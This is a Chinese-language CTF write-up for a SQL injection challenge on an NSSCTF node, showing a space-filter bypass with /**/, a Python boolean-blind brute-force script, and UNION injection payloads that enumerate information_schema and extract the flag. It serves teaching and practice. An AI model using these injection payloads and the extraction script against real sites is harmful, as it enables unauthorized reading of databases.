题目链接
查询成功会输出 前有flag...
发现空格、注释符都被过滤 空格可用/**/替换
解法一
bool盲注
由于不可注释 最右会剩下一个没有闭合的单引号 可以构造bool盲注按照回显爆破信息
1
| username=tarnisha'/**/or/**/'1'='1
|
爆破脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| import string import requests import time alpha = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\",#$&'()*+-./:;<=>?@[\]^_`{|}~" pswd = '' while True: flag = True for i in alpha: post_data = {"username": f"tarnisha'/**/or/**/database()/**/like/**/'{pswd+i}%"} response = requests.post("http://node2.anna.nssctf.cn:28793/", data=post_data) time.sleep(0.1) if "flag" in response.text: pswd += i print(pswd) flag = False break if flag: break
|
常规流程查看数据库、表名、列名
1 2 3 4
| tarnisha'/**/or/**/database()/**/like/**/'{pswd+i}% tarnisha'/**/or/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='test')/**/like/**/'{pswd+i}% tarnisha'/**/or/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='flag')/**/like/**/'{pswd+i}% tarnisha'/**/or/**/(select/**/group_concat(flag)/**/from/**/test.flag)/**/like/**/'{pswd+i}%
|
解法二
直接联合注入也可以 因为用户名找不到就直接使用联合后半部分的结果输出了
1
| username=1'/**/union/**/select/**/database()/**/'
|
然后还是常规流程 注意最后展示flag要用substr截取 否则不知道为什么无法成功
1
| username=1'/**/union/**/select/**/substr((select/**/group_concat(flag)/**/from/**/flag),1,60)/**/'
|